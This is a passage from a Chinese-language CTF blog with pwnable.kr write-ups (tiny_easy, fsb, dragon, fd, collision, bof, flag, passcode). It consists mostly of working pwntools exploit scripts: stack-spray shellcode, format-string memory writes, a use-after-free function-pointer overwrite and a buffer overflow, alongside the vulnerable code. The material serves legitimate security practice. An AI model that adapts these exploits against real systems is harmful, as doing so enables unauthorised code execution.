<span class="c1">#p = gdb.debug(['./ascii_easy', payload], gdb_init)
</span><span class="n">p</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>
<h2>tiny_easy</h2>
<p>这道题目什么安全机制都没开,获取到第一个参数的值并跳转执行:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>LOAD:08048054 ; Attributes: noreturn
LOAD:08048054
LOAD:08048054 public start
LOAD:08048054 start proc near
LOAD:08048054 pop eax
LOAD:08048055 pop edx
LOAD:08048056 mov edx, [edx]
LOAD:08048058 call edx
LOAD:08048058 start endp ; sp-analysis failed
</code></pre></div></div>
<p>常识是执行的程序一般<code class="language-plaintext highlighter-rouge">argv[0]</code>都是程序本身,属于不可控的内容,但仍可以测试一下execve的第一参数可以为其他值。开始想使用<code class="language-plaintext highlighter-rouge">pwnlib.gdb</code>的<code class="language-plaintext highlighter-rouge">args</code>和<code class="language-plaintext highlighter-rouge">exe</code>参数方便调试,但<code class="language-plaintext highlighter-rouge">pwnlib.gdb.attach</code>是先起程序获得pid后再attach,<code class="language-plaintext highlighter-rouge">pwnlib.gdb.debug</code>的gdbserver用的是<code class="language-plaintext highlighter-rouge">args[0]</code>作为启动程序,而不是传入的<code class="language-plaintext highlighter-rouge">exe</code>参数,这一点与<code class="language-plaintext highlighter-rouge">pwnlib.tubes.process</code>的用法不同。最终老老实实写C语言进行调试:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include <stdio.h>
#include <unistd.h>
#include <errno.h>
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
<span class="kt">char</span> <span class="o">*</span><span class="n">args</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="s">"</span><span class="se">\x01\x02\x03\x04</span><span class="s">"</span><span class="p">,</span> <span class="s">"</span><span class="se">\x05\x06\x07\x08</span><span class="s">"</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">};</span>
<span class="n">execve</span><span class="p">(</span><span class="s">"/home/larry/tools/Rookiss/tiny_easy/tiny_easy"</span><span class="p">,</span> <span class="n">args</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"error code: %d(%s)</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">errno</span><span class="p">,</span> <span class="n">strerror</span><span class="p">(</span><span class="n">errno</span><span class="p">));</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>既然可以跳到可控地址,剩下的就是栈喷绕过ASLR来盲跳至shellcode当中,模仿<a href="http://weaponx.site/2017/03/02/tiny-easy-Writeup-pwnable-kr/">师傅</a>的WP,可以设置过多的参数尽量打满栈空间,提高盲跳的命中率:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">shellcode</span> <span class="o">=</span> <span class="s">"</span><span class="se">\xeb\x11\x5e\x31\xc9\xb1\x32\x80</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x6c\x0e\xff\x01\x80\xe9\x01\x75</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\xf6\xeb\x05\xe8\xea\xff\xff\xff</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x32\xc1\x51\x69\x30\x30\x74\x69</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x69\x30\x63\x6a\x6f\x8a\xe4\x51</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x54\x8a\xe2\x9a\xb1\x0c\xce\x81</span><span class="s">"</span>
<span class="n">payload</span> <span class="o">=</span> <span class="s">"</span><span class="se">\x90</span><span class="s">"</span> <span class="o">*</span> <span class="mi">8000</span> <span class="o">+</span> <span class="n">shellcode</span>
<span class="n">arg</span> <span class="o">=</span> <span class="p">[</span><span class="n">p32</span><span class="p">(</span><span class="mh">0xff88ef80</span><span class="p">)]</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="mh">0x100</span><span class="p">):</span>
<span class="n">arg</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
<span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">process</span><span class="p">(</span><span class="n">arg</span><span class="p">,</span> <span class="n">executable</span><span class="o">=</span><span class="s">"./tiny_easy"</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>
<h2>fsb</h2>
<p>此题目给了源码存在明显的字符串格式化漏洞,但是格式化字符串保存在bss段中,不在栈上就限制了漏洞的直接利用,首先在格式化处下断点看看栈上有哪些可利用的内容:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gef➤ x/32xw $esp
0xffef46e0: 0x0804a100 0x0804a100 0x00000064 0x00000000
0xffef46f0: 0x00000000 0x00000000 0x00000000 0x00000000
0xffef4700: 0x00000000 0x08048870 0x00000000 0x00000000
0xffef4710: 0xffef6aa0 0xffef8ff1 0xffef4730 0xffef4734
0xffef4720: 0x00000000 0x00000000 0xffef68c8 0x08048791
0xffef4730: 0x00000000 0x00000000 0x00000000 0x00000000
0xffef4740: 0x00000000 0x00000000 0x00000000 0x00000000
0xffef4750: 0x00000000 0x00000000 0x00000000 0x00000000
gef➤ grep 0x0804A060
[+] Searching '\x60\xA0\x04\x08' in memory
[+] In '/home/larry/tools/Rookiss/fsb/fsb'(0x8048000-0x8049000), permission=r-x
0x8048687 - 0x8048697 → "\x60\xA0\x04\x08[...]"
0x804871c - 0x804872c → "\x60\xA0\x04\x08[...]"
0x804874f - 0x804875f → "\x60\xA0\x04\x08[...]"
[+] In '/home/larry/tools/Rookiss/fsb/fsb'(0x8049000-0x804a000), permission=r--
0x8049687 - 0x8049697 → "\x60\xA0\x04\x08[...]"
0x804971c - 0x804972c → "\x60\xA0\x04\x08[...]"
0x804974f - 0x804975f → "\x60\xA0\x04\x08[...]"
[+] In '[stack]'(0xff965000-0xff986000), permission=rw-
0xff9847b4 - 0xff9847c4 → "\x60\xA0\x04\x08[...]"
0xff9847c4 - 0xff9847d4 → "\x60\xA0\x04\x08[...]"
</code></pre></div></div>
<p>虽然栈上有前栈帧信息,但也只能算出低几位的key,没有太大意义。可以利用字符串格式化漏洞在栈上写入key的地址<code class="language-plaintext highlighter-rouge">0x0804A060</code>再读取出key的内容,或者在栈上本来就有固定相对偏移的地方保存着key的地址,也可以读取。正确读取出key的内容时,发现不能通过比较,调试可知<code class="language-plaintext highlighter-rouge">mov edx, eax; sar edx, 1Fh</code>毁掉了原始输入的4个字节:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>.text:08048676 call _strtoull
.text:0804867B mov edx, eax
.text:0804867D sar edx, 1Fh
.text:08048680 mov [ebp+var_30], eax
.text:08048683 mov [ebp+var_2C], edx
.text:08048686 mov eax, dword ptr ds:key
.text:0804868B mov edx, dword ptr ds:key+4
.text:08048691 mov ecx, edx
.text:08048693 xor ecx, [ebp+var_2C]
.text:08048696 xor eax, [ebp+var_30]
.text:08048699 or eax, ecx
.text:0804869B test eax, eax
.text:0804869D jnz short loc_80486
</code></pre></div></div>
<p>既然原始输入会被毁掉,那我毁掉原始的key值总是可以的吧,利用字符串格式化漏洞在栈上写入key地址,再对该地址写入为0,利用脚本如下:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">context</span><span class="p">.</span><span class="n">arch</span> <span class="o">=</span> <span class="s">'i386'</span>
<span class="n">context</span><span class="p">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s">'debug'</span>
<span class="n">gdb_init</span> <span class="o">=</span> <span class="s">'''
b *0x08048610
c
'''</span>
<span class="n">fmt1</span> <span class="o">=</span> <span class="s">'%'</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="mh">0x0804A060</span><span class="p">)</span> <span class="o">+</span> <span class="s">'c%14$n'</span>
<span class="n">fmt2</span> <span class="o">=</span> <span class="s">'%'</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="mh">0x0804A064</span><span class="p">)</span> <span class="o">+</span> <span class="s">'c%15$n'</span>
<span class="n">write1</span> <span class="o">=</span> <span class="s">'%20$n'</span>
<span class="n">write2</span> <span class="o">=</span> <span class="s">'%21$n'</span>
<span class="c1">#p = gdb.debug('./fsb', gdb_init)
</span><span class="n">p</span> <span class="o">=</span> <span class="n">process</span><span class="p">(</span><span class="s">'./fsb'</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">')</span><span class="se">\n</span><span class="s">'</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">fmt1</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">')</span><span class="se">\n</span><span class="s">'</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">write1</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">')</span><span class="se">\n</span><span class="s">'</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">fmt2</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">')</span><span class="se">\n</span><span class="s">'</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">write2</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">'key : </span><span class="se">\n</span><span class="s">'</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">'0'</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>
<h2>dragon</h2>
<p>此题目开了NX和Canary,程序中提供了<code class="language-plaintext highlighter-rouge">system("/bin/sh");</code>危险函数调用,仔细分析可知只要攻击获胜就能触发UAF漏洞。因为在<code class="language-plaintext highlighter-rouge">PriestAttack</code>和<code class="language-plaintext highlighter-rouge">KnightAttack</code>函数的结尾处均<code class="language-plaintext highlighter-rouge">free</code>掉了Player结构体,攻击成功后再次调用结构体中保存的函数指针:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="n">v3</span> <span class="o">=</span> <span class="n">KnightAttack</span><span class="p">((</span><span class="kt">int</span><span class="p">)</span><span class="n">ptr</span><span class="p">,</span> <span class="n">v5</span><span class="p">);</span>
<span class="err">}</span>
<span class="k">if</span> <span class="p">(</span> <span class="n">v3</span> <span class="p">)</span>
<span class="p">{</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"Well Done Hero! You Killed The Dragon!"</span><span class="p">);</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"The World Will Remember You As:"</span><span class="p">);</span>
<span class="n">v2</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mh">0x10u</span><span class="p">);</span>
<span class="n">__isoc99_scanf</span><span class="p">(</span><span class="s">"%16s"</span><span class="p">,</span> <span class="n">v2</span><span class="p">);</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"And The Dragon You Have Defeated Was Called:"</span><span class="p">);</span>
<span class="p">((</span><span class="kt">void</span> <span class="p">(</span><span class="kr">__cdecl</span> <span class="o">*</span><span class="p">)(</span><span class="n">_DWORD</span> <span class="o">*</span><span class="p">))</span><span class="o">*</span><span class="n">v5</span><span class="p">)(</span><span class="n">v5</span><span class="p">);</span> <span class="c1">// v5 is freed in KnightAttack</span>
<span class="p">}</span>
</code></pre></div></div>
<p>选择的英雄Knight是用蛮力打,Priest可以用魔法打,但正常分析下来均打不过Mama Dragon和Baby Dragon。没有明显的溢出操作,只有游戏人物属性值的加减,自然联想到可能存在整数溢出问题。注意到Mama Dragon的初始单字节HP为80,在<code class="language-plaintext highlighter-rouge">PriestAttack</code>函数中选择无敌操作,可使其多次回血。而循环判断是有符号的byte比较,多次施法产生溢出即可:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="k">case</span> <span class="mi">3</span><span class="p">:</span>
<span class="k">if</span> <span class="p">(</span> <span class="o">*</span><span class="p">(</span><span class="n">_DWORD</span> <span class="o">*</span><span class="p">)(</span><span class="n">a1</span> <span class="o">+</span> <span class="mi">8</span><span class="p">)</span> <span class="o"><=</span> <span class="mi">24</span> <span class="p">)</span>
<span class="p">{</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"Not Enough MP!"</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">else</span>
<span class="p">{</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"HolyShield! You Are Temporarily Invincible..."</span><span class="p">);</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"But The Dragon Heals %d HP!</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="o">*</span><span class="p">((</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">ptr</span> <span class="o">+</span> <span class="mi">9</span><span class="p">));</span>
<span class="o">*</span><span class="p">((</span><span class="n">_BYTE</span> <span class="o">*</span><span class="p">)</span><span class="n">ptr</span> <span class="o">+</span> <span class="mi">8</span><span class="p">)</span> <span class="o">+=</span> <span class="o">*</span><span class="p">((</span><span class="n">_BYTE</span> <span class="o">*</span><span class="p">)</span><span class="n">ptr</span> <span class="o">+</span> <span class="mi">9</span><span class="p">);</span>
<span class="o">*</span><span class="p">(</span><span class="n">_DWORD</span> <span class="o">*</span><span class="p">)(</span><span class="n">a1</span> <span class="o">+</span> <span class="mi">8</span><span class="p">)</span> <span class="o">-=</span> <span class="mi">25</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">break</span><span class="p">;</span>
<span class="k">case</span> <span class="mi">1</span><span class="p">:</span>
<span class="k">if</span> <span class="p">(</span> <span class="o">*</span><span class="p">(</span><span class="n">_DWORD</span> <span class="o">*</span><span class="p">)(</span><span class="n">a1</span> <span class="o">+</span> <span class="mi">8</span><span class="p">)</span> <span class="o"><=</span> <span class="mi">9</span> <span class="p">)</span>
<span class="p">{</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"Not Enough MP!"</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">else</span>
<span class="p">{</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"Holy Bolt Deals %d Damage To The Dragon!</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="mi">20</span><span class="p">);</span>
<span class="o">*</span><span class="p">((</span><span class="n">_BYTE</span> <span class="o">*</span><span class="p">)</span><span class="n">ptr</span> <span class="o">+</span> <span class="mi">8</span><span class="p">)</span> <span class="o">-=</span> <span class="mi">20</span><span class="p">;</span>
<span class="o">*</span><span class="p">(</span><span class="n">_DWORD</span> <span class="o">*</span><span class="p">)(</span><span class="n">a1</span> <span class="o">+</span> <span class="mi">8</span><span class="p">)</span> <span class="o">-=</span> <span class="mi">10</span><span class="p">;</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"But The Dragon Deals %d Damage To You!</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="o">*</span><span class="p">((</span><span class="n">_DWORD</span> <span class="o">*</span><span class="p">)</span><span class="n">ptr</span> <span class="o">+</span> <span class="mi">3</span><span class="p">));</span>
<span class="o">*</span><span class="p">(</span><span class="n">_DWORD</span> <span class="o">*</span><span class="p">)(</span><span class="n">a1</span> <span class="o">+</span> <span class="mi">4</span><span class="p">)</span> <span class="o">-=</span> <span class="o">*</span><span class="p">((</span><span class="n">_DWORD</span> <span class="o">*</span><span class="p">)</span><span class="n">ptr</span> <span class="o">+</span> <span class="mi">3</span><span class="p">);</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"And The Dragon Heals %d HP!</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="o">*</span><span class="p">((</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">ptr</span> <span class="o">+</span> <span class="mi">9</span><span class="p">));</span>
<span class="o">*</span><span class="p">((</span><span class="n">_BYTE</span> <span class="o">*</span><span class="p">)</span><span class="n">ptr</span> <span class="o">+</span> <span class="mi">8</span><span class="p">)</span> <span class="o">+=</span> <span class="o">*</span><span class="p">((</span><span class="n">_BYTE</span> <span class="o">*</span><span class="p">)</span><span class="n">ptr</span> <span class="o">+</span> <span class="mi">9</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">break</span><span class="p">;</span>
<span class="err">}</span>
<span class="k">if</span> <span class="p">(</span> <span class="o">*</span><span class="p">(</span><span class="n">_DWORD</span> <span class="o">*</span><span class="p">)(</span><span class="n">a1</span> <span class="o">+</span> <span class="mi">4</span><span class="p">)</span> <span class="o"><=</span> <span class="mi">0</span> <span class="p">)</span>
<span class="p">{</span>
<span class="n">free</span><span class="p">(</span><span class="n">ptr</span><span class="p">);</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
<span class="err">}</span>
<span class="k">while</span> <span class="p">(</span> <span class="o">*</span><span class="p">((</span><span class="n">_BYTE</span> <span class="o">*</span><span class="p">)</span><span class="n">ptr</span> <span class="o">+</span> <span class="mi">8</span><span class="p">)</span> <span class="o">></span> <span class="mi">0</span> <span class="p">);</span>
<span class="n">free</span><span class="p">(</span><span class="n">ptr</span><span class="p">);</span>
<span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
<span class="err">}</span>
</code></pre></div></div>
<p>英雄HP刚好够施法次数的使用,覆盖函数指针为shell函数即可,利用脚本如下:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">context</span><span class="p">.</span><span class="n">arch</span> <span class="o">=</span> <span class="s">'i386'</span>
<span class="n">context</span><span class="p">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s">'debug'</span>
<span class="c1">#p = process('./dragon')
</span><span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">'pwnable.kr'</span><span class="p">,</span> <span class="mi">9004</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">'Knight</span><span class="se">\n</span><span class="s">'</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">'1'</span><span class="p">)</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">xrange</span><span class="p">(</span><span class="mi">2</span><span class="p">):</span>
<span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">'Invincible.</span><span class="se">\n</span><span class="s">'</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">'1'</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">'Knight</span><span class="se">\n</span><span class="s">'</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">'1'</span><span class="p">)</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">xrange</span><span class="p">(</span><span class="mi">4</span><span class="p">):</span>
<span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">'Invincible.</span><span class="se">\n</span><span class="s">'</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">'3'</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">'Invincible.</span><span class="se">\n</span><span class="s">'</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">'3'</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">'Invincible.</span><span class="se">\n</span><span class="s">'</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">'2'</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">'As:</span><span class="se">\n</span><span class="s">'</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">p32</span><span class="p">(</span><span class="mh">0x08048DBF</span><span class="p">)</span><span class="o">+</span><span class="s">'A'</span><span class="o">*</span><span class="mi">12</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>
<h1>0x02 总结</h1>
<p>题目总体做下来有这样一种感觉:小分题目可能需要些trick和套路,大分题目可能考的是比较正规的漏洞利用知识;同样的道理也适用于这个题目是让你登录系统还是通过网络访问。当然在实际的漏洞利用环境中,一是看信息泄露,然后是对程序内部结构的熟悉掌握,最后是针对漏洞构造有效的利用方式。</p>
Larryxi
0x00 前言 个人感觉刷题的意义就在于诚意,要做一个言行一致的人。精力暂时有限,本篇文章记录了pwnable.kr第二部分Rookiss的一半题解,其实做题的套路也渐渐懂一些了:先看安全机制,推测是什么问题,再看程序找出问题点,根据上下文环境确定漏洞利用方式,最后是调试验证。
Pwnable Kr Toddler’s Bottle Write Up
2019-09-17T00:00:00+00:00
2019-09-17T00:00:00+00:00
https://larryxi.github.io/2019/09/17/pwnable-kr-toddlers-bottle-write-up
<h1>0x00 背景</h1>
<p>和leecode一样,感觉未来PWN选手基础的发展趋势,就是问你有没有刷过<a href="http://pwnable.kr">pwnable.kr</a>和<a href="https://pwnable.tw/">pwnable.tw</a>系列哇。算是巩固一下基础吧,把pwnable.kr的<code class="language-plaintext highlighter-rouge">Toddler's Bottle</code>部分做完了,遂形成此篇记录博客。篇幅所限,原始题目内容和运行环境以及开启的安全机制,大多省略或提及关键部分,着重记录了解题思路和利用脚本。</p>
<!-- more -->
<h1>0x01 题解</h1>
<h2>fd</h2>
<p>这是一个编程问题,让你去了解Linux上的文件描述符,直接引用《UNIX环境高级编程》中“文件描述符”的内容吧:按照惯例,UNIX系统shell把文件描述符0与进程的标准输入关联。exp脚本如下:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">context</span><span class="p">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s">'debug'</span>
<span class="n">s</span> <span class="o">=</span> <span class="n">ssh</span><span class="p">(</span><span class="n">host</span><span class="o">=</span><span class="s">'pwnable.kr'</span><span class="p">,</span> <span class="n">user</span><span class="o">=</span><span class="s">'fd'</span><span class="p">,</span> <span class="n">port</span><span class="o">=</span><span class="mi">2222</span><span class="p">,</span> <span class="n">password</span><span class="o">=</span><span class="s">'guest'</span><span class="p">)</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">s</span><span class="p">.</span><span class="n">process</span><span class="p">([</span><span class="s">'./fd'</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="mh">0x1234</span><span class="p">)])</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">'LETMEWIN'</span><span class="p">)</span>
<span class="k">print</span> <span class="n">p</span><span class="p">.</span><span class="n">recvall</span><span class="p">()</span>
</code></pre></div></div>
<h2>collision</h2>
<p>简单的编程问题,要求凑5个<code class="language-plaintext highlighter-rouge">int</code>数加起来等于hashcode,需要注意的是python在起程序时应该传递不了空指针<code class="language-plaintext highlighter-rouge">NULL</code>这样的参数。exp脚本如下:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">context</span><span class="p">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s">'debug'</span>
<span class="n">c</span> <span class="o">=</span> <span class="s">''</span>
<span class="n">c</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x01010101</span><span class="p">)</span> <span class="o">*</span> <span class="mi">4</span>
<span class="n">c</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x21DD09EC</span><span class="o">-</span><span class="mh">0x01010101</span><span class="o">*</span><span class="mi">4</span><span class="p">)</span>
<span class="n">s</span> <span class="o">=</span> <span class="n">ssh</span><span class="p">(</span><span class="n">host</span><span class="o">=</span><span class="s">'pwnable.kr'</span><span class="p">,</span> <span class="n">user</span><span class="o">=</span><span class="s">'col'</span><span class="p">,</span> <span class="n">port</span><span class="o">=</span><span class="mi">2222</span><span class="p">,</span> <span class="n">password</span><span class="o">=</span><span class="s">'guest'</span><span class="p">)</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">s</span><span class="p">.</span><span class="n">process</span><span class="p">([</span><span class="s">'./col'</span><span class="p">,</span> <span class="n">c</span><span class="p">])</span>
<span class="k">print</span> <span class="n">p</span><span class="p">.</span><span class="n">recvall</span><span class="p">()</span>
</code></pre></div></div>
<h2>bof</h2>
<p>最最基础的漏洞利用题目,计算好偏移覆盖至栈帧中保存的参数即可。exp脚本如下:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">context</span><span class="p">.</span><span class="n">arch</span> <span class="o">=</span> <span class="s">'i386'</span>
<span class="n">context</span><span class="p">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s">'debug'</span>
<span class="n">payload</span> <span class="o">=</span> <span class="s">''</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="s">'A'</span> <span class="o">*</span> <span class="mh">0x34</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0xcafebabe</span><span class="p">)</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">'pwnable.kr'</span><span class="p">,</span> <span class="mi">9000</span><span class="p">)</span>
<span class="c1">#r = process('./bof')
#r.recvuntil('me : ')
</span><span class="n">r</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
<span class="n">r</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>
<h2>flag</h2>
<p>一道逆向工程的题目,有经验的同学通过<code class="language-plaintext highlighter-rouge">strings</code>看出是<code class="language-plaintext highlighter-rouge">upx</code>加壳的程序。比较原生态的做法是,通过<code class="language-plaintext highlighter-rouge">strace</code>看出有<code class="language-plaintext highlighter-rouge">write</code>的系统调用,对其<a href="https://wizardforcel.gitbooks.io/100-gdb-tips/catch-syscall.html">下断点</a>后dump出原始的bin文件,再通过<code class="language-plaintext highlighter-rouge">strings</code>寻找可能的flag字符串。编写gdb command file如下:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>!strace ./flag
file flag
catch syscall write
run
dump binary memory dumpfile 0x0000000000400000 0x00000000004c2000
!strings -n 16 dumpfile | head -n 3
quit
</code></pre></div></div>
<h2>passcode</h2>
<p>这是一道编程错误导致的漏洞利用题目,初看时感觉没问题,输入两个passcode即可得到flag。但实际运行时会出现段错误,调试后可知程序在使用<code class="language-plaintext highlighter-rouge">scanf</code>时传递的不是变量指针,遂产生非法地址写:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">login</span><span class="p">(){</span>
<span class="kt">int</span> <span class="n">passcode1</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">passcode2</span><span class="p">;</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"enter passcode1 : "</span><span class="p">);</span>
<span class="n">scanf</span><span class="p">(</span><span class="s">"%d"</span><span class="p">,</span> <span class="n">passcode1</span><span class="p">);</span>
<span class="n">fflush</span><span class="p">(</span><span class="n">stdin</span><span class="p">);</span>
<span class="c1">// ha! mommy told me that 32bit is vulnerable to bruteforcing :)</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"enter passcode2 : "</span><span class="p">);</span>
<span class="n">scanf</span><span class="p">(</span><span class="s">"%d"</span><span class="p">,</span> <span class="n">passcode2</span><span class="p">);</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"checking...</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="k">if</span><span class="p">(</span><span class="n">passcode1</span><span class="o">==</span><span class="mi">338150</span> <span class="o">&&</span> <span class="n">passcode2</span><span class="o">==</span><span class="mi">13371337</span><span class="p">){</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"Login OK!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="n">system</span><span class="p">(</span><span class="s">"/bin/cat flag"</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">else</span><span class="p">{</span>
